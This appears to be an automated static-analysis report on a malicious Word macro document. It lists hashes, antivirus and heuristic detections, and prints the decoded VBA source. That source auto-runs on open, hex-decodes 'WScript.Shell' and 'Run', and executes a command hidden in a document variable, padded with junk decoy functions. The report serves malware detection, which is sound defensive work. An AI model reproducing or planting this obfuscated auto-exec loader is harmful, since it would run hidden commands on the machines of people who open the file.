Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ec4f5bba3549f53d…

MALICIOUS

Office (OLE)

49.5 KB Created: 2018-07-10 10:34:00 Authoring application: Microsoft Office Word First seen: 2019-04-18
MD5: 268a4d3d2c236ea6f0ddc01b2485608e SHA-1: 2c0f6a425bb4984afb47b012ae7001b9b00eb96e SHA-256: ec4f5bba3549f53d3fc9cb582171dfffb885b07a421047eb2d1de63f043dfbe0
342 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file contains heavily obfuscated VBA macros, including auto-executing Document_Open and Workbook_Open subroutines. These macros utilize CreateObject and CallByName functions to execute a payload, likely a second-stage downloader. The obfuscation and auto-execution behavior are indicative of malware designed to download and run additional malicious content.

Heuristics 9

  • ClamAV: Xls.Malware.Valyria-6700361-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Malware.Valyria-6700361-0
  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • CallByName call high OLE_VBA_CALLBYNAME
    CallByName call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1753 bytes
SHA-256: 0650c3fc78b6ede92aa2a8641eb10116e9647fdddd45e0ab413112892e7cffed
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit
Private Function GHTSMIPLI() As String
Dim GHTSMIPLI = aGHTSMIPLI
POtvc dore(aGHTSMIPLI))
dCMK dd(a & vGHTSMIPLI
Opot("ard"))
Fep(aGHTSMIPLI & vGHTSMIPLI, 11))
End Function

Public Sub Document_Open()
    Application.Run XE_("B4B8C2")
End Sub
Private Function GZLUICQHI() As String
Dim GZLUICQHI = aGZLUICQHI
POtvc dore(aGZLUICQHI))
dCMK dd(a & vGZLUICQHI
Opot("ard"))
Fep(aGZLUICQHI & vGZLUICQHI, 11))
End Function

Public Function XE_(ByVal DMN_ As String)
   Dim D_ As String
   Dim GD_ As Long
   For GD_ = 1 To Len(DMN_) Step 2
        Dim S_ As Long: S_ = CLng(Chr(38) & Chr(72) & Mid(DMN_, GD_, 2))
        D_ = D_ & Chr(S_ - 99)
   Next
   XE_ = D_
End Function
Private Function UGVICCSFJ() As String
Dim UGVICCSFJ = aUGVICCSFJ
POtvc dore(aUGVICCSFJ))
dCMK dd(a & vUGVICCSFJ
Opot("ard"))
Fep(aUGVICCSFJ & vUGVICCSFJ, 11))
End Function

Sub Workbook_Open()
    QU_
End Sub
Private Function VDTRIJGOE() As String
Dim VDTRIJGOE = aVDTRIJGOE
POtvc dore(aVDTRIJGOE))
dCMK dd(a & vVDTRIJGOE
Opot("ard"))
Fep(aVDTRIJGOE & vVDTRIJGOE, 11))
End Function

Sub QU_()
    CallByName CreateObject(XE_("BAB6C6D5CCD3D791B6CBC8CFCF")), XE_("B5D8D1"), VbMethod, XE_(ActiveDocument.Variables("MWZQIIWY").Value), 0, True
End Sub
Private Function HDKANADOS() As String
Dim HDKANADOS = aHDKANADOS
POtvc dore(aHDKANADOS))
dCMK dd(a & vHDKANADOS
Opot("ard"))
Fep(aHDKANADOS & vHDKANADOS, 11))
End Function

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